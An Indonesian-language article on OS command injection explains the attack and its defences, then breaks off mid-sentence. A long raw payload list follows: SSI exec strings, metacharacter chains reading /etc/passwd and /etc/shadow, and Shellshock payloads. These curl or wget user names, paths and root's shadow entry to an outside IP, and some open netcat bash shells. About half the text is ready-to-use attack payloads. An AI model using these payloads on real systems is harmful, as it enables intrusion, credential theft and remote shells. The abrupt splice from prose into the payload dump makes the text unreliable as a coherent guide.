Injeksi perintah adalah serangan di mana tujuannya adalah pelaksanaan perintah sewenang -wenang pada sistem operasi host melalui aplikasi yang rentan. Serangan injeksi perintah dimungkinkan ketika aplikasi melewati data yang disediakan pengguna yang tidak aman (formulir, cookie, header http dll.) Ke shell sistem. Dalam serangan ini, perintah sistem operasi yang disediakan penyerang biasanya dieksekusi dengan hak istimewa aplikasi yang rentan. Serangan injeksi komando mungkin sebagian besar karena validasi input yang tidak mencukupi.
Serangan ini berbeda dari injeksi kode, dalam injeksi kode itu memungkinkan penyerang untuk menambahkan kode sendiri yang kemudian dieksekusi oleh aplikasi. Dalam injeksi perintah, penyerang memperluas fungsionalitas default aplikasi, yang menjalankan perintah sistem, tanpa perlu menyuntikkan kode.
Injeksi perintah OS adalah kerentanan kritis yang memungkinkan penyerang untuk mendapatkan kendali penuh atas situs web yang terkena dampak dan server web yang mendasarinya.
Kerentanan injeksi perintah OS muncul ketika aplikasi memasukkan data pengguna ke dalam perintah sistem operasi yang dijalankannya. Seorang penyerang dapat memanipulasi data untuk menyebabkan perintah mereka sendiri. Hal ini memungkinkan penyerang untuk melakukan tindakan apa pun yang dapat dilakukan aplikasi itu sendiri, termasuk membaca atau memodifikasi semua data dan melakukan tindakan istimewa.
Selain kompromi total server web itu sendiri, penyerang dapat memanfaatkan kerentanan injeksi perintah untuk memutar serangan pada infrastruktur internal organisasi, berpotensi mengakses sistem apa pun yang dapat diakses oleh server web. Mereka mungkin juga dapat membuat pijakan persisten di dalam organisasi, terus mengakses sistem yang dikompromikan bahkan setelah kerentanan asli telah diperbaiki.
Kerentanan Injeksi Perintah Sistem Operasi muncul ketika suatu aplikasi menggabungkan data yang dapat dikendalikan pengguna ke dalam perintah yang diproses oleh juru bahasa Shell. Jika data pengguna tidak divalidasi secara ketat, penyerang dapat menggunakan metacharacters shell untuk memodifikasi perintah yang dieksekusi, dan menyuntikkan perintah lebih lanjut sewenang -wenang yang akan dieksekusi oleh server.
Kerentanan injeksi perintah OS biasanya sangat serius dan dapat menyebabkan kompromi server yang menampung aplikasi, atau data dan fungsionalitas aplikasi sendiri. Dimungkinkan juga untuk menggunakan server sebagai platform untuk serangan terhadap sistem lain. Potensi yang tepat untuk eksploitasi tergantung pada konteks keamanan di mana perintah dieksekusi, dan hak istimewa yang dimiliki konteks ini mengenai sumber daya sensitif di server.
Jika memungkinkan, aplikasi harus menghindari memasukkan data yang dapat dikendalikan pengguna ke dalam perintah sistem operasi. Dalam hampir setiap situasi, ada metode alternatif yang lebih aman untuk melakukan tugas-tugas tingkat server, yang tidak dapat dimanipulasi untuk melakukan perintah tambahan daripada yang dimaksud.
Jika dianggap tidak dapat dihindari untuk memasukkan data yang disediakan pengguna ke dalam perintah sistem operasi, dua lapisan pertahanan berikut harus digunakan untuk mencegah serangan:
Data pengguna harus divalidasi secara ketat. Idealnya, daftar putih dari nilai -nilai yang diterima spesifik harus digunakan. Kalau tidak, hanya string alfanumerik pendek yang harus diterima. Input yang mengandung data lain, termasuk shell metacharacter atau whitespace yang mungkin, harus ditolak.
Aplikasi harus menggunakan API perintah yang meluncurkan proses tertentu melalui nama dan parameter baris perintahnya, daripada meneruskan string perintah ke interpreter shell yang mendukung rantai dan pengalihan perintah. Misalnya, Java API Runtime.exec dan proses API ASP.NET. Start tidak mendukung metacharacters shell. Pertahanan ini bisa mengurangi
<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
<!--#exec%20cmd="/usr/bin/id;-->
<!--#exec%20cmd="/usr/bin/id;-->
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
n/bin/ls -aln
n/usr/bin/idn
nidn
n/usr/bin/id;
nid;
n/usr/bin/id|
nid|
;/usr/bin/idn
;idn
|usr/bin/idn
|nidn
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=`whoami`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=`pwd`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=`uname -a`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=`nc -lvvp 1234 -e /bin/bash`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=`nc -lvvp 1236 -e /bin/bash &`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
() { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=`whoami`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=`pwd`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=`uname -a`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=`nc -lvvp 1235 -e /bin/bash`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=`nc -lvvp 1237 -e /bin/bash &`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>